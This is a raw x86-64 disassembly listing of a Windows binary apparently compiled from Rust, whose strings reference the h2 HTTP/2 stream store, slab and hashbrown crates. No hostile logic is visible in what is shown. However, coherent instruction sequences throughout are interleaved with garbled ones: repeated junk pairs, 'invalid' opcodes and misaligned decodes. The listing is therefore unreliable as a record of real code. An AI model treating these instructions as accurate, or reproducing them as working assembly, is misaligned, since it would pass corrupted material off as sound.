movups xmmword [rsp + 0x1f8], xmm1
mov word [rsp + 0x208], 0
cmp byte [rsp + 0x2d], 3
je 0x14002d260
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x78]
call fcn.14002d530
test rsi, rsi
je 0x14002d362
movups xmm0, xmmword [rsp + 0x88]
movups xmm1, xmmword [rsp + 0x98]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
mov r15, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
test r14, r14
je 0x14002d2d9
js 0x14002d506
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r14
call fcn.1400dfbe0
test rax, rax
je 0x14002d518
mov r12, rax
mov rcx, rax
mov rdx, r15
mov r8, r14
call fcn.140106250
test r12b, 1
jne 0x14002d2fa
mov rsi, r12
or rsi, 1
lea rdi, [0x140129108]
jmp 0x14002d304
lea rdi, [0x140113ac0]
mov r12d, 1
xor esi, esi
xor r13d, r13d
mov rax, qword [rsp + 0x1a8]
test rax, rax
jne 0x14002d314
jmp case.0x14002a645.458
lea rdi, [0x140129120]
mov rsi, r12
mov r13, r14
mov rax, qword [rsp + 0x1a8]
test rax, rax
je case.0x14002a645.458
lea rcx, [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1b0]
mov r8, qword [rsp + 0x1b8]
call qword [rax + 0x10]
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x1b0], r12
mov qword [rsp + 0x1b8], r13
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
rol byte [rcx], 0
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x30
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
rol byte [rcx], 0
add dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
and al, 0x30
lea rcx, [rsp + 0x48]
mov rdx, r15
mov r8, r14
call qword [rax + 0x10]
lea rcx, [rsp + 0x230]
lea rdx, [rsp + 0x170]
add dword [rax], eax
add byte [rcx - 0x48], al
movabs al, byte [0xd8ed3e8000000]
add dword [rax], eax
add byte [rcx - 0x48], al
movabs al, byte [0xd8ed3e8000000]
mov rax, qword [rsp + 0x248]
or rax, qword [rsp + 0x268]
jne case.0x14002a645.463
cmp byte [rsp + 0x2f], 3
jne 0x14002d3be
mov word [rbp + 8], 0x703
mov qword [rbp], 3
lea rcx, [rsp + 0x230]
xor byte [rdx], al
add byte [rax], al
xor byte [rdx], al
add byte [rax], al
call fcn.14001b4d0
mov rcx, rbx
call fcn.140052130
jmp 0x14002d487
lea rdx, [0x140142948]
lea rcx, [rsp + 0x230]
call fcn.14002d530
movzx esi, byte [rsp + 0x450]
lea rcx, [rsp + 0x330]
lea rdx, [rsp + 0x230]
mov r8d, 0xa0
call fcn.140106250
mov rcx, rbx
call fcn.140022fe0
mov rdi, rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmm3, xmmword [rbx + 0x30]
movaps xmmword [rsp + 0x2d0], xmm0
movaps xmmword [rsp + 0x2e0], xmm1
sub dword [rsp + 0x2e0], ecx
movaps xmmword [rsp + 0x2f0], xmm2
movaps xmmword [rsp + 0x300], xmm3
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0x310], xmm0
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0x320], xmm0
and byte [rbx], al
add byte [rax], al
or sil, 4
lea rdx, [rsp + 0x2d0]
mov r8d, 0x100
mov rcx, rbp
call fcn.140106250
mov qword [rbp + 0x100], rdi
mov byte [rbp + 0x108], 0
mov byte [rbp + 0x115], 2
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x118], eax
sbb byte [rcx], al
add byte [rax], al
mov byte [rbp + 0x11c], sil
movaps xmm6, xmmword [rsp + 0x3d0]
add rsp, 0x3e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x68]
mov rdx, rsi
xor r8d, r8d
call qword [rdi + 0x10]
lea rdi, [0x1401157d0]
mov qword [rsp + 0x50], rdi
lea rax, [0x140172678]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], 0
jmp 0x14002d145
call fcn.140010b00
mov ecx, 1
mov rdx, r12
call fcn.140107fc0
mov ecx, 1
mov rdx, r14
call fcn.140107fc0
int3
add byte [rax], al
mov rcx, qword [r12 + 0x80]
mov r8, qword [r12 + 0x98]
lea r9, [rcx + rbp]
sub dword [rax - 0x75], ecx
adc al, 0x29
sub dword [rax - 0x75], ecx
adc al, 0x29
mov rdi, qword [rcx + rbp + 8]
jl 0x14002d7ee
sub dword [rax], ecx
or byte [rax - 0x39], cl
add al, 0x29
add al, byte [rax]
add byte [rax], al
mov qword [rcx + rbp], 2
mov qword [rcx + rbp + 8], r8
cmp rdx, 2
je 0x14002dc34
test byte [rdi + 4], dl
add byte [rax], al
test byte [rdi + 4], dl
add byte [rax], al
dec qword [r12 + 0x90]
mov qword [r12 + 0x98], r14
mov ah, 0x24
cwde
add byte [rax], al
add byte [rcx + 0x39], cl
invalid
and al, 0x90
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
cwde
add byte [rax], al
add byte [rcx + 0x39], cl
fimul word [rdi]
test dword [rdx + 0x48000000], ebp
test edx, edx
cmp esi, ebx
jne 0x14002d8a0
test rdx, rdx
jne 0x14002dc50
mov qword [r13 + 0x18], 0
add byte [rax], al
add byte [rax], al
mov rdi, r14
lea rdx, [rcx + rbp]
add rdx, 0x10
mov rcx, qword [rdx]
cmp rcx, 4
je 0x14002d8ca
cmp rcx, 6
cmp ecx, 6
jne 0x14002d957
mov ebx, eax
lea rdx, [r13 + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140026300
movzx ecx, byte [rsp + 0x70]
and al, 0x70
and al, 0x70
movzx eax, byte [rsp + 0x71]
cmp cl, 3
mov rdi, qword [rsp + 0x60]
invalid
jne 0x14002d91c
invalid
test al, al
je case.0x14002a10a.63
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax]
mov r14, rax
mov r15, rdx
mov edi, edx
mov edi, edx
mov rax, qword [r13 + 0xa8]
test rax, rax
je 0x14002d87e
mov rcx, qword [r13 + 0xb0]
call qword [rax + 0x18]
mov qword [r13 + 0xa8], r14
mov qword [r13 + 0xb0], r15
mov byte [rsp + 0x38], 5
mov eax, ebx
test al, al
jne 0x14002da31
jmp case.0x14002aa4e.60
test rdx, rdx
je 0x14002dc68
mov qword [r13 + 0x18], 1
mov qword [r13 + 0x20], rdi
lea rdx, [rcx + rbp]
add rdx, 0x10
mov rcx, qword [rdx]
cmp rcx, 4
jne 0x14002d81f
movups xmm0, xmmword [r9 + 0x18]
movups xmm1, xmmword [r9 + 0x28]
movups xmmword [rsp + 0x77], xmm0
movups xmmword [rsp + 0x87], xmm1
mov byte [rsp + 0x38], 3
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rsp + 0x39], xmm0
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x49], xmm0
mov rcx, qword [rsp + 0x8f]
mov qword [rsp + 0x58], rcx
mov rdi, qword [rsp + 0x60]
test al, al
jne 0x14002da31
sbb al, byte [rcx]
add byte [rax], al
sbb al, byte [rcx]
add byte [rax], al
jmp case.0x14002aa4e.60
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x58], rdx
pop rax
pop rax
movups xmm0, xmmword [rsp + 0x72]
movups xmm1, xmmword [rsp + 0x82]
mov word [rdx + rax*4], fs
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x4a], ecx
mov word [rdx + rax*4], fs
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x4a], ecx
movups xmmword [rsp + 0x3a], xmm0
mov byte [rsp + 0x38], cl
mov byte [rsp + 0x39], al
mov eax, ebx
test al, al
jne 0x14002da31
jmp case.0x14002aa4e.60
mov dword [rax], 0x44890000
and al, 0x34
mov dword [rsp + 0x34], eax
lea r15, [r12 + 0x78]
lea rcx, [rsp + 0x80]
add byte [rcx - 0x48], al
loopne 0x14002d96c
add byte [rax], al
add byte [rcx - 0x48], al
loopne 0x14002d96c
add byte [rax], al
call fcn.140106250
mov qword [rsp + 0x70], 0
invalid
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x70
lea r8, [rsp + 0x70]
mov rcx, r15
mov rdx, r14
call fcn.140023110
cmp r14, rbx
jne case.0x14002aa01.50
invalid
and ecx, dword [rcx - 0x73]
sub byte [r9 - 0x39], r9b
lea rcx, [r13 + 0x28]
mov qword [r13 + 0x18], 1
sbb byte [r9], r8b
add byte [rax], al
add byte [rbp - 0x77], cl
jne 0x14002d9c1
sbb byte [r9], r8b
sbb byte [rcx], al
add byte [rax], al
add byte [rbp - 0x77], cl
jne 0x14002d9c1
mov eax, dword [rsp + 0x34]
jmp case.0x140028ada.37
mov byte [rsp + 0x38], 4
mov eax, ebx
test al, al
jne 0x14002da31
jmp case.0x14002aa4e.60
cmp r14, qword [r12 + 0x88]
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
invalid
add byte [rbx + 0xf342444], cl
mov eax, dword [rsp + 0x34]
jae 0x14002dc74
sub dword [rsi + 0x49000002], 3
lodsb al, byte [rsi]
and al, 0x80
add rbp, qword [r12 + 0x80]
cmp dword [rbp], 2
je 0x14002dc74
invalid
add byte [rax], al
add byte [rbx + 0xf02007d], al
test byte [rdx + rax - 0x72b70000], bl
add byte [rcx - 0x73], cl
add byte [rcx - 0x73], cl
lea rcx, [r13 + 0x20]
mov qword [rbp], 1
add dword [rax], eax
add byte [rax], al
and byte [r8 - 0x39], r9b
add byte [r9], r8b
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 8], rdi
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 8], rdi
mov qword [rcx], r14
mov rdx, qword [r13 + 0xa8]
add byte [rax], al
mov rcx, qword [r13 + 0xb0]
mov qword [r13 + 0xa8], 0
lea esi, [rax + 0x49000000]
mov dword [rbp + 0xa8], 0
test rdx, rdx
mov rdi, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
invalid
je 0x14002da15
call qword [rdx + 8]
mov eax, dword [rsp + 0x34]
or byte [rbx - 0x39cbdbbc], cl
and al, 0x38
add al, 0x84
sal byte [rbp + 0x13], 0x48
mov rax, qword [0x140182308]
mov byte [rsp + 0x38], 4
test al, al
jne 0x14002da31
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002dbbb
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne case.default.0x14002da55
mov rcx, rdi
mov ecx, edi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
invalid
movzx eax, byte [rsp + 0x38]
and al, 0x38
lea rcx, [0x1401763c8]
lea ecx, [0x1401763c8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rsp + 0x40]
movzx r8d, byte [rsp + 0x39]
xor edx, edx
jmp 0x14002db0b
invalid
add dh, al
invalid
mov byte [rsi], 6
jmp 0x14002db2d
invalid
movzx ecx, byte [rsp + 0x39]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x40], rax
jne 0x14002daff
movzx eax, cl
shl rax, 0x20
or rax, 3
jmp 0x14002db09
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x87], xmm1
and al, 0x87
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x77], eax
and al, 0x87
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x77], eax
mov byte [rsi], 5
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
mov rax, qword [rsp + 0x8f]
jmp 0x14002db29
mov rax, qword [rsp + 0x40]
movups xmm0, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x70], xmm0
mov rcx, qword [rsp + 0x58]
mov qword [rsp + 0x80], rcx
mov ecx, dword [rsp + 0x3c]
mov dl, 1
movzx r8d, byte [rsp + 0x39]
jmp 0x14002db0b
mov byte [rsi], 7
jmp 0x14002db2d
lea rdx, [rsp + 0x40]
call fcn.14001f210
mov dl, 4
mov byte [rsi], dl
mov byte [rsi + 1], r8b
mov dword [rsi + 4], ecx
mov qword [rsi + 8], rax
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x80]
mov qword [rsi + 0x20], rax
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.140110270
test al, al
jne 0x14002da31
mov byte [r12 + 0x11], 1
jmp 0x14002da31
mov qword [r9 + 8], rdi
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.1401086b0
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0x25
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
call fcn.140108690
lea rcx, str.invalid_keyC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.1401088c0
int3
mov esi, ecx
mov rbx, qword [rcx]
lea rcx, [rbx + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], dl
jne 0x14002dd84
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002dda2
fild word [rax]
add byte [rax], al
fild word [rax]
add byte [rax], al
xor eax, eax
movzx edx, byte [rbx + 0x11]
test dl, dl
jne 0x14002ddbb
mov r9d, dword [rsi + 8]
mov r8d, dword [rsi + 0xc]
mov dword [rsp + 0x28], r9d
mov dword [rsp + 0x2c], r8d
cmp qword [rbx + 0x1d8], r9
jbe 0x14002de09
sbb dword [rcx], eax
add byte [rax], al
sbb dword [rcx], eax
add byte [rax], al
mov rdx, qword [rbx + 0x1d0]
imul r9, r9, 0x130
cmp dword [rdx + r9], 2
je 0x14002de09
add rdx, r9
cmp dword [rdx + 0x114], r8d
jne 0x14002de09
movzx r8d, byte [rdx + 0x50]
add r8b, 0xfa
movzx r9d, r8b
cmp r9b, 6
mov r8d, 6
cmovb r8d, r9d
xor esi, esi
cmp r8b, 6
ja 0x14002dd55
movzx r8d, r8b
mov r9d, 0x62
bt r9d, r8d
jae 0x14002dd55
cmp qword [rdx + 0x18], 0
sete sil
test al, al
jne 0x14002dd6c
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002dded
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14002dd7a
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov eax, esi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
mov rdi, rcx
call fcn.1401101b0
add byte [rax - 0x77], cl
stc
add byte [rax - 0x77], cl
stc
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14002dcc3
mov rdi, rcx
call fcn.140110270
mov rcx, rdi
xor al, 1
movzx edx, byte [rbx + 0x11]
test dl, dl
je 0x14002dcd1
mov qword [rsp + 0x30], rcx
mov byte [rsp + 0x38], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140115700]
lea r8, [rsp + 0x30]
mov edx, 0x2b
call fcn.140108600
mov rdi, rcx
call fcn.140110270
mov rcx, rdi
test al, al
jne 0x14002dd6c
mov byte [rbx + 0x11], 1
jmp 0x14002dd6c
lea rax, [rsp + 0x2c]
mov qword [rsp + 0x60], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x68], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140108280
int3
in al, dx
jo 0x14002dec0
mov ebx, dword [rcx]
lea rsi, [rbx + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [rbx + 0x10], dl
jne 0x14002df78
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002df99
xor edi, edi
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x14002dfb6
mov edx, dword [rcx + 8]
mov ecx, dword [rcx + 0xc]
mov dword [rsp + 0x28], edx
lea rax, [rsp + 0x2c]
mov dword [rsp + 0x2c], ecx
cmp qword [rbx + 0x1d8], rdx
sub al, 0x48
cmp dword [rbx + 0x1d8], edx
jbe 0x14002dfff
mov r9, qword [rbx + 0x1d0]
imul r8, rdx, 0x130
cmp dword [r9 + r8], 2
je 0x14002dfff
add r9, r8
cmp dword [r9 + 0x114], ecx
jne 0x14002dfff
mov byte [r9 + 0x128], 0
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], ecx
cmp qword [rbx + 0x1d8], rdx
jbe 0x14002dfff
mov rdx, qword [rbx + 0x1d0]
cmp dword [rdx + r8], 2
je 0x14002dfff
add rdx, r8
cmp dword [rdx + 0x114], ecx
jne 0x14002dfff
retf 0
invalid
retf 0
lea rcx, [rbx + 0x78]
call fcn.1400278c0
test dil, dil
jne 0x14002df56
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002dfe9
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x14002df6f
mov rcx, rsi
add rsp, 0x70
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
mov rdi, rcx
mov rcx, rsi
call fcn.1401101b0
mov rcx, rdi
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14002dea0
mov rdi, rcx
call fcn.140110270
mov rcx, rdi
mov edi, eax
xor dil, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x14002deae
mov qword [rsp + 0x40], rsi
mov byte [rsp + 0x48], dil
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140115700]
lea r8, [rsp + 0x40]
mov edx, 0x2b
call fcn.140108600
call fcn.140110270
test al, al
jne 0x14002df56
mov byte [rbx + 0x11], 1
jmp 0x14002df56
mov qword [rsp + 0x30], rax
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
add ah, cl
add ah, cl
int3
xor eax, eax
movzx ecx, byte [r14 + 0x11]
test cl, cl
jne 0x14002e36b
mov r13d, dword [rdx + 8]
mov r12d, dword [rdx + 0xc]
mov dword [rsp + 0x28], r13d
lea r11, [rsp + 0x2c]
mov dword [rsp + 0x2c], r12d
mov r10, qword [r14 + 0x1d8]
cmp r10, r13
jbe 0x14002e451
mov rcx, qword [r14 + 0x1d0]
imul rbx, r13, 0x130
cmp dword [rcx + rbx], 2
je 0x14002e451
add rcx, rbx
cmp dword [rcx + 0x114], r12d
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
jne 0x14002e451
mov r15d, dword [rcx + 0x11c]
mov bpl, 4
cmp r15d, edi
jb 0x14002e3f4
sub dword [r14 + 0x108], edi
mov ecx, dword [r14 + 0xc4]
mov edx, ecx
add edx, edi
jo 0x14002e141
mov dword [r14 + 0xc4], edx
mov ecx, edx
mov edx, dword [r14 + 0xc0]
sub ecx, edx
jle 0x14002e199
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
invalid
jl 0x14002e199
sar dword [rbx + rdi + 0x49], 0x8b
xchg esi, eax
mov eax, 0x49000001
mov ecx, dword [rsi + 0x1c0]
mov rdx, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rdx, rdx
je 0x14002e199
mov qword [rsp + 0x70], r9
mov ebp, eax
call qword [rdx + 8]
lea r11, [rsp + 0x2c]
mov eax, ebp
mov r9, qword [rsp + 0x70]
mov r10, qword [r14 + 0x1d8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp r10, r13
jbe 0x14002e4a4
mov rcx, qword [r14 + 0x1d0]
cmp dword [rcx + rbx], 2
cmp al, 0x19
add cl, byte [rdi]
test bh, ah
add al, byte [rax]
invalid
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002e4a4
sub dword [rcx + 0x11c], edi
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
and al, 0x2c
mov r8, qword [r14 + 0x1d8]
cmp r8, r13
jbe 0x14002e4a4
mov rcx, qword [r14 + 0x1d0]
cmp dword [rcx + rbx], 2
je 0x14002e4a4
mov ss, eax
add dword [rax], eax
add byte [rbx + 0xf02193c], al
test byte [rsi + 0x48000002], ah
add ecx, ebx
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002e4a4
mov edx, dword [rcx + 0xa4]
add edx, edi
jo 0x14002e225
mov dword [rcx + 0xa4], edx
mov r8, qword [r14 + 0x1d8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp r8, r13
jbe 0x14002e451
mov r10, qword [r14 + 0x1d0]
cmp dword [r10 + rbx], 2
je 0x14002e451
add r10, rbx
cmp dword [r10 + 0x114], r12d
jne 0x14002e451
mov edx, dword [r10 + 0xa0]
mov ecx, dword [r10 + 0xa4]
mov bpl, 0xc
sub ecx, edx
jle 0x14002e3f4
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x14002e3f4
cmp byte [r10 + 0x127], 0
jne 0x14002e3c7
mov byte [r10 + 0x127], 1
cmp dword [r14 + 0xc8], 0
je 0x14002e39d
mov edx, dword [r14 + 0xd4]
mov r8d, dword [r14 + 0xd8]
mov dword [rsp + 0x28], edx
and al, 0x28
and al, 0x28
mov dword [rsp + 0x2c], r8d
cmp qword [r14 + 0x1d8], rdx
jbe 0x14002e4a4
mov rcx, qword [r14 + 0x1d0]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x14002e4a4
add rcx, rdx
cmp dword [rcx + 0x114], r8d
jne 0x14002e4a4
lea rdx, [r14 + 0xd8]
mov dword [rcx + 0xe8], 1
mov dword [rcx + 0xec], r13d
mov dword [rcx + 0xf0], r12d
mov dword [r14 + 0xd4], r13d
jmp 0x14002e3c4
mov ecx, edi
mov rdx, rbx
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14002e0b3
mov rbx, rdx
mov r15, r9
call fcn.140110270
mov r9, r15
mov rdx, rbx
xor al, 1
movzx ecx, byte [r14 + 0x11]
test cl, cl
je 0x14002e0c2
mov qword [rsp + 0x40], r9
mov byte [rsp + 0x48], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
str word [rax - 0x77]
and al, 0x20
str word [rax - 0x77]
and al, 0x20
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140115700]
lea r8, [rsp + 0x40]
and al, 0x40
mov edx, 0x2b
call fcn.140108600
mov dword [r14 + 0xc8], 1
mov dword [r14 + 0xcc], r13d
mov dword [r14 + 0xd0], r12d
mov dword [r14 + 0xd4], r13d
lea rdx, [r14 + 0xd8]
mov dword [rdx], r12d
mov rdx, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rdx, rdx
je 0x14002e3f4
mov rbx, r9
mov r12d, eax
call qword [rdx + 8]
mov eax, r12d
mov r9, rbx
test al, al
jne 0x14002e407
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14002e43b
xor eax, eax
xchg byte [r9], al
cmp al, 2
jne 0x14002e419
mov rcx, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp r15d, edi
jae case.0x140019144.750
mov byte [rsi], 3
mov byte [rsi + 1], bpl
jmp 0x14002e42a
mov byte [rsi], 5
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rbx, r9
call fcn.140110270
mov r9, rbx
test al, al
jne 0x14002e407
mov byte [r14 + 0x11], 1
jmp 0x14002e407
mov qword [rsp + 0x30], r11
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
add byte [rax - 0x73], cl
and al, 0x40
add byte [rax - 0x73], cl
and al, 0x40
call fcn.140108280
mov qword [rsp + 0x30], r11
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
and al, 0x48
add dword [rax], eax
add byte [rax], al
and al, 0x48
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
int3
stosb byte [rdi], al
str word [rax - 0x73]
shr r8b, 1
popfq
or eax, 0xcccccc00
int3
int3
xor byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x38
or byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
and al, 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhashbrown_0.14.3_src_rawmod.rs
lea rcx, [rsp + 0x28]
call fcn.140108280
invalid
invalid
or eax, 0xcccccc00
int3
int3
sub byte [rax - 0x77], cl
retf 0x10b9
add byte [rax], al
add al, ch
invalid
invalid
call fcn.140107fe0
int3
mov rax, qword [rax + 0x18]
lea rdx, str.MaxSizeReachedmax_size_reached
mov r8d, 0xe
jmp rax
invalid
loopne 0x14002e5a9
int3
cmp eax, 0x40
ja 0x14002e652
mov rax, qword [rsp + 0x70]
mov r10d, r8d
jo 0x14002e687
mov edx, eax
and r10d, 3
cmp r8, 4
add al, 0x73
invalid
add al, 0x73
invalid
xor ebx, ebx
jmp case.0x14002c02b.87
cmp r8, 0x10000
jae 0x14002e7e9
mov qword [rcx], rdx
mov qword [rcx + 8], r8
xor esi, esi
imul cl
jl 0x14002e66c
add byte [rax], al
imul cl
jl 0x14002e66c
add byte [rax], al
add byte [rbp - 0x77], al
ret
mov r11d, r8d
and r11d, 0x7c
xor edi, edi
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
movzx ebx, byte [rdx + rdi]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi], bl
sbb byte [rcx - 0x78], al
sbb al, 0x39
movzx ebx, byte [rdx + rdi + 1]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi + 1], bl
movzx ebx, byte [rdx + rdi + 2]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi + 2], bl
lea rbx, [rdi + 4]
movzx r14d, byte [rdx + rdi + 3]
movzx ebp, byte [rax + r14]
mov byte [r9 + rdi + 3], bpl
mov rdi, rbx
cmp r11, rbx
jne 0x14002e680
mov rdi, rcx
test r10, r10
je 0x14002e6f5
lea rcx, [r9 + rbx]
add rdx, rbx
xor r11d, r11d
nop word cs:[rax + rax]
movzx ebx, byte [rdx + r11]
movzx ebx, byte [rax + rbx]
mov byte [rcx + r11], bl
sbb al, 0x19
